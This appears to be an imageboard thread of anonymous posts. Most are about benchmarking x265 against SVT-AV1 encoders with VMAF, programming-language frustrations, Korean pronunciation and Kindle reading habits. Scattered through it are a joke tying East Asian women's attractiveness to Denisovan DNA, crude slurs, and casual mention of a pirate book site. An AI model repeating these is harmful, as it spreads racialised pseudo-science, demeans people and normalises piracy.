1270×24909.31Mb00:11221203 STAYC(스테이씨) Manila Isa Pose [mq9fWc8sOV8]


why do even need Erlang

I thought you're a normal guy who only believes in Rust... not some Erlang/Clojure type of weirdo

% lua -e 'print(("%F"):gsub("%%F", "%s"))'
lua: (command line):1: invalid use of '%' in replacement string
stack traceback:
	[C]: in function 'string.gsub'
	(command line):1: in main chunk
	[C]: in ?

% luajit -e 'print(("%F"):gsub("%%F", "%s"))'
s	1



I'm afraid I can forget even alphabet nowadays

yesterday I was thinking for 5 seconds whether "n" comes after "k" or before

I guess brain is too good at deleting things you rarely use


svt-av1 4 fps


x265 medium crf25 40fps 2.4MB file

svt-av1 preset9 crf37 36fps 2.5MB file

90.736549 vs 91.457781 VMAF

same shit



x265 preset fast vs svt-av1 preset 10

44 fps vs 60fps

89.936782 vs 90.165639 VMAF

AV1 isn't that bad it seems



x265 slow fps16 vmaf94

svt preset6 fps13 vmaf94

svt preset7 fps23 vmaf94

svt preset8 fps29 vmaf93

so it seems good only on faster presets, on slower there's little difference with x265



libaom-av1 cpu-used 8 row-mt 1 tiles 4x4 17-20 fps max

and same VMAF as x265 slow

didn't know svt-av1 is that good. so encoder for av1 chosen

now just need to decide 8bit vs 10bit and preset medium vs fast and do more VMAF tests



gotta go through tutorial for each language to find the best brainlet compatible lang

surprisingly it still seems to be rust



not for the dumbest of us


any value might be none at any point


very tiny guard rails offered by types


try except jumpy jump control flow


the absolute state of mutable default function arguments




any value might be none at any point

well at least you can't [0] == '0'


got pizza in 20 minutes


macos doesn't support because swdec on mobile is meh

mozilla doesn't support because fucken retards

I won't give a fuck about firefox

1920×10805.33Mb00:07KARA - 점핑(Jumping) M/V []

what did they mean by this

1920×10801.45Mb00:02[Light Jeans] NIKE Campaign Shoot Behind (UXgF4u1TGis)





tired of coding

maybe need to read now



I solved the mystery. it's the Denisovan DNA admixture that makes East Asian girls attractive


A 2018 study of Han Chinese, Japanese, and Dai genomes showed that modern East Asians have DNA from two different Denisovan populations: one similar to the Denisovan DNA found in Papuan genomes, and a second that is closer to the Denisovan genome from Denisova Cave.


It is recommended to not use Film Grain for presets greater than 6 as it produces a significant compute overhead. This combination should only be used for debug purposes.


nobody gave me reputation points for answer on stackoverflow




Preset 8 with grain is ~3x slower than preset 8 without grain (quick test with 4K material and an AVX2-capable CPU, measured with time). Grain synth alone takes up the equivalent amount of CPU time of encoding 4K at preset 7.

stupid grain

but encoding grainy videos without grain option seems unwise, codecs with smooth out everything in that case




DNA evidence suggests they had dark skin, eyes, and hair, and had a Neanderthal-like build and facial features



what do when you encoded something, it looks kinda okayish, but you don't want spend time inspecting it much

so it could contain huge issues like here >>1013683

small CRF should normally work tho, even if preset is fast


nah, too afraid of switching activities. what if I won't like reading on kindle, so that purchase was useless

need to wait for a proper mood




but you don't want spend time inspecting it much

what if you check VMAF


# Get VMAF score with harmonic mean to emphasize small outliers




HM(90, 87, 1, 91) = 3.87

so if one frame is bad you get really low score and you don't need to check everything manually

problem solved


can't calc vmaf for matroska and mov containers, some timestamp sync issues



NUT worked

I hate timestamps, there's always some weird issues about them



Things tend to get hangulized roughly the way they're pronounced, but romanized the way they're spelt in Hangul.



어 being kinda midway between 오 and 아 seems so clear sometimes i wonder if i'm going to learn to recognise it some day




I'd understand if you were learning North Korean Korean, where the sounds are more similar, but it's easy otherwise. It's the difference between run and Ron, done and Don, love and loathe, Seohyun and Sohyun, Seola and Sora.




run and Ron, done and Don

Well, maybe not for Americans.



the loan word version of 어 ron vs run might work, but theres no way i'll recognise seohyun vs sohyun in some sentence unless directly comparing the two words


the researchers recognize that Aissam may never be able to understand or speak a language, Dr. Germiller said. The brain has a narrow window for learning to speak beginning around ages 2 to 3, he explained. After age 5, the window for learning spoken language is permanently shut.




the window for learning spoken language is permanently shut

scary stuff

can we somehow reboot the neurons in language center or it's deeply connected to all memory and personality core



That applies to people who have never learnt a first spoken language, not us.



it's also about how good can you learn language being adult

if you're exposed to 2 languages being infant is much much better than

learn 1st language when you're child + learn 2nd language when you're adult


VMAF done

didn't expect it to take so much time, about 2 days for all corner cases

but that stupid SVT-AV1 always has very nice VMAF, even with CRF=63. it's probably cheating

so dunno is it even useful feature




transliterations like 어니스틀리 are turned into a single morpheme in korean.

막내 on the other hand is 2 morphemes: 막 + 내. the phonological rules that make it 망내 are subconscious for a native speaker it's just as easy to read.

such morphophonemic spelling is also very good for writing since native speakers don't consciously think about the fully phonemic spelling of a multimorphemic word. easier to write 좋겠지 than 조케찌. i can't stress enough how much of a nightmare it is to consciously adjust the spelling of morphemes based on the context that is otherwise subconscious. so much easier to just whip out a quick 는 after a verb instead of suddenly realizing "oh wait, i'm about to write 거, quick let me spell 능 instead" and having to keep your guard up the whole time.


the disparity between an adult's and a child's ability to learn a language is highly overblown and sensationalized. it's real but adults can learn languages just fine. people believe it's a big deal likely because of inefficient teaching, like not doing anywhere near enough oral or immersive practice.




but adults can learn languages just fine

not on the level of bilingual kids tho



it failed badly on heart emoji

I knew it can't be that simple with unicode-nim and UTF-16/UTF-8 mess




seems like you have to either create extra variable or function wrapper with narrow type

but I don't want to


There will either be a lot of angry Europeans seeing their 3rd party app stores and sideloaded apps disappear when they travel, or there will be a gray market for EU iPhones shipped to the US.


escaping issues are horrible

tired of multiple levels of escaping here and there



finished robust escaping for all type of arguments, that was exhausting

so many things may go wrong if you deal with CLI arguments with arbitrary separators/quoting


GUI sucks so much when I actually use my own software

lots of bugs, including upstream ones which I can't fix in near terms

developing software is suffering

first you have cool concept, but then it fails badly under real world circumstances

the only solution is to slap bunch of different tools on top of each other because they have different bugs which don't usually overlap. but then the resulting product is bloated



found another workaround

it's pile of hacks on top of each other at this point


found great popular science video about language structure and what's different/common with human language center and LLM

too bad can't show it to linguist chingu because it's not in english



tired of coding, this team for reals

now gonna game and read


Some newbies were scraping nitter heavily



they talked about it in the video. there're 3 methods:

- move fingers in the air (there's animation feedback, i.e. virtual keys don't press instantly but have some travel distance)

- move your eyes and use tap gesture

- voice input

the eye tracker method sounds interesting


however you get faster charge only mostly during first 15 minutes, then it probably heats up too much at 15w wireless charging

still should be convenient when you phone is dying but you need to use it actively


read for 15 minutes on kindle and already procrastinating, back to social media

well, I think I can read few books anyway, but not sure I can make it a habit



also why the fuck that stupid pirate books website has dozens of version of each book

I have to spend 20 minutes to select which one is the best

also I'm trying different kindle features instead of reading




read for 15 minutes


procrastinated for 2 hours

I knew that



dunno, why would you heat GPU of your computer if you can ask Azure servers to do that for you instead

unless you install it on a NAS with proper GPU


I like to keep it set to show “page in book,” but it randomly changes it for no apparent reason


You may be tapping on the bottom left hand corner of the display accidentally. It happens to me sometimes.

that was my first thought but it happened 3 times and I decided it can't be me, that must be some bug

but people on reddit say it's me who accidentally tapping on the bottom of the screen

can't believe amazon couldn't fix that stupid UX bug for fucking eleven generations of their reading devices



certainly not gonna replace a copilot sub with an azure account i am however officially off copilot and expecting good things from continue



I mean copilot runs inside microsoft's (azure) cloud


tired of coding, now wanna do some math instead


the most curious technology along with trash chutes in apartment buildings not ready to handle pizza boxes



you mean you can order pizza and throw the packaging using garbage disposal?

thus you don't have to ever (and I mean it) leave your house for years?




don't leave your house for years?



pizza boxes stuck in the chute was a friends joke

my m1 llm said they still exist in some places, sounds fun



I didn't watch friends, sorry I mean more than few eps

we have it in my country (some buildings have that feature) but it's mostly closed because apartment owners don't want the rats



some ideas turn out to be bad

in spain its common to have underground trash bins to save space for the street but it's not at all secured so its a gold mine for rats and cockroaches and they spread well to nearby buildings


now that i dont have to censor myself from curious openai employees what should i ask from LLM after being extra careful about the questions for 2 years its not easy to come up with things




what should i ask from LLM

sometimes it can suggest something interesting >>1017840

but another time it's basic stuff you knew yourself >>1006218 ➡

I think in their current state AIs are only helpful for pabos, but if you've reflexed on different topics for some time, AI can't help, because everything it suggests you know already, but going deep requires serious thinking/computational resources and AIs can't yet do that

or the question simply can't have definitive answer. or maybe you have to experiment, which AIs can't do either



the more complicated question is whether to google or ask chatgpt

I still mostly google because of the habit, but FOMO tells me asking chatgpt directly could be better

not sure



I couldn't find english source

basically you can't resolve any .ru domain right now because some idiot messed with DNSSEC